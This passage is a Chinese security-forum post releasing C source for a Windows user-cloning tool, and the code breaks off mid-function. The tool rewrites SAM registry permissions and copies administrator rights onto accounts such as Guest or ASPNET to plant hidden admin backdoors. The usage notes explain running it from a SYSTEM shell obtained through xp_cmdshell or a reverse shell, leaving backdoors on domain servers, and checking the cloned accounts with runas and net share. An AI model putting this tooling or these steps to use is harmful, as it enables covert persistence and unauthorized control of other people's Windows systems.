软件作者:pt007@vip.sina.com版权所有,转载请注明版权
信息来源:邪恶八进制信息安全团队(www.eviloctal.com)
本程序是基于dahubaobao的源程序的基础上进行了修改,改正了源程序中的一个严重BUG(原程序会引起用户管理的混乱),本版本加入了注册表提权和恢复功能,因此能够完美的支持XP/2000/2003,下一个版本我打算实现直接输入用户名克隆和密码修改功能!感谢dahubaobao和sinister的指点
SHELL里可执行是指:至少有一个管理员权限的shell,如:jsp/MYSQL/SERV提权/反弹CMDSHELL
软件使用问题整理:
引用第46楼kuba8于2007-04-25 20:16发表的 :
我发现在国外有些机上不能执行,不知道为什么~
1、这种情况很可能是SAM键值做了安全设置,比如只允许system完全控制,administrators组成员连读取权限都没有,解决方法是获得一个system权限的SHELL,比如用SQL的XP_CMDSHELL来运行这个命令,或者利用服务启动的后门一般都是system权限的,所以你可以找一个第三方的后门程序来执行这个程序。
2、最近我在做一个渗透项目的时候发现,如果服务器为域服务器,也会出现clone5 -l列不出或列不全用户的情况,这种情况下建议大家不要使用任何的用户克隆类软件,否则把用户的机器搞出问题了就不好玩了,建议大家可以留个后门,解决方案等有时间再进行研究。
3、2000下停用了账号依然可以正常使用,03下面必须启用,删除了克隆用户也没问题,总之和正常用户一样进行操作就可以了,克隆完之后要使用net user aspnet test来修改密码。
4、克隆之后会启用该用户。
5、测试克隆用户的方法:
runas /user:aspnet cmd
net share (能执行代表具有管理员权限)
6、任意用户均可以克隆,建议大家的眼光不要局限克隆GUEST,多克隆其它的一些账号,比如ASPNET和tsinternetuser等。
#include <windows.h> #include <string.h> #include <stdio.h> #include <aclapi.h> char name[50][30]; int KeyN=0; LPTSTR lpObjectName; SE_OBJECT_TYPE ObjectType; //#include <aclapi.h> PACL OldDACL,NewDACL; PSECURITY_DESCRIPTOR SD; EXPLICIT_ACCESS ea; //OpenKey(),ViewUser(),ListUser()函数用到的变量 //显示用户名对应的安全标识符: void OpenKey (char *key); int ViewUser (char *key); int ListUser (void);//列出用户名和类型值(用户SID) int Clone (char *C_sid);//克隆帐户 void Usage (void);//帮助信息 //设置注册表的存取权限: void new(); void old(); void main (int argc, char *argv[]) { char C_Sid[10]; int n; if(argc<2) {Usage(); return;} //提升注册表SAM键的权限: new(); //如何使用命令行参数的方法: for (n=1;n<argc;n++) { if (argv[n][0] == '-') { switch(argv[n][1]) { case '?': case 'h': case 'H':Usage(); break; case 'l': case 'L':ListUser(); old(); break; case 'c': case 'C': if(argc<3) {printf("Useage:%s -c 1F5 ",argv[0]); old(); break;} strcpy(C_Sid,argv[2]);//获得屏幕输入并存入C_Sid字符数组 if (strlen(C_Sid)<=10) Clone(C_Sid); else printf("Error "); //恢复注册表的权限: old(); break; } } } } void OpenKey (char *key) { HKEY hkey;//注册表键值的句柄 DWORD dwIndex=0,lpcbname=100,ret=0; char T_name[100],Buffer[100]; FILETIME lpftlast; int i=0; //下面是字符数组清0: ZeroMemory(Buffer,100); ZeroMemory(T_name,100); ZeroMemory(name,1500); RegOpenKeyEx(HKEY_LOCAL_MACHINE, //根键名或已打开项的句柄 key, //传递一个参数,欲打开的注册表项 0, //未用,设为0即可 KEY_ALL_ACCESS, //描述新键值安全性的访问掩码 //它们的组合描述了允许对这个项进行哪些操作 &hkey);//装载上面打开项的句柄 for(i=0;ret==ERROR_SUCCESS;i++,dwIndex++)//遍历子键中的每个值 { ret=RegEnumKeyEx(hkey,dwIndex,T_name,&lpcbname, NULL,NULL,NULL,&lpftlast); //dwIndex:欲获取的子项的索引。第一个子项的索引编号为零 //T_name:用于装载指定索引处项名的一个缓冲区 //&lpcbname:指定一个变量,用于装载lpName缓冲区的实际长度(包括空字符)。 //一旦返回,它会设为实际装载到lpName缓冲区的字符数量 //NULL:未用,设为零 //NULL:项使用的类名 //NULL:用于装载lpClass缓冲区长度的一个变量 //&lpftlast:FILETIME,枚举子项上一次修改的时间 strcat(name[i],T_name);//将每个子键名加入到name[i]数组中 ZeroMemory(T_name,100);//清0 lpcbname=100; } //printf("subkey=%s ",name[0]);//administrator RegCloseKey(hkey); //关闭注册键 //拼接用户名: for(KeyN=0;KeyN<i;KeyN++) { strcat(Buffer,name[KeyN]); strcat(Buffer," "); } } int ViewUser (char *key) { HKEY hkey; DWORD lpType=0,ret; char S_name[10]; ret=RegOpenKeyEx(HKEY_LOCAL_MACHINE, key,//如://SAM\SAM\Domains\Account\Users\Names\administrator 0, KEY_ALL_ACCESS, &hkey); if(ret==ERROR_SUCCESS) ; else return 0; RegQueryValueEx(hkey,NULL,NULL,&lpType,NULL,NULL); //NULL:要获取值的名字 //NULL:未用,设为零 //&lpType:用于装载取回数据类型的一个变量 //NULL:用于装载指定值的一个缓冲区 //NULL:用于装载lpData缓冲区长度的一个变量 wsprintf(S_name,"%X ",lpType); printf("%s",S_name); return 1; } int ListUser (void) { int n; char Buffer[70]="SAM\SAM\Domains\Account\Users\Names\"; char Temp[40]={'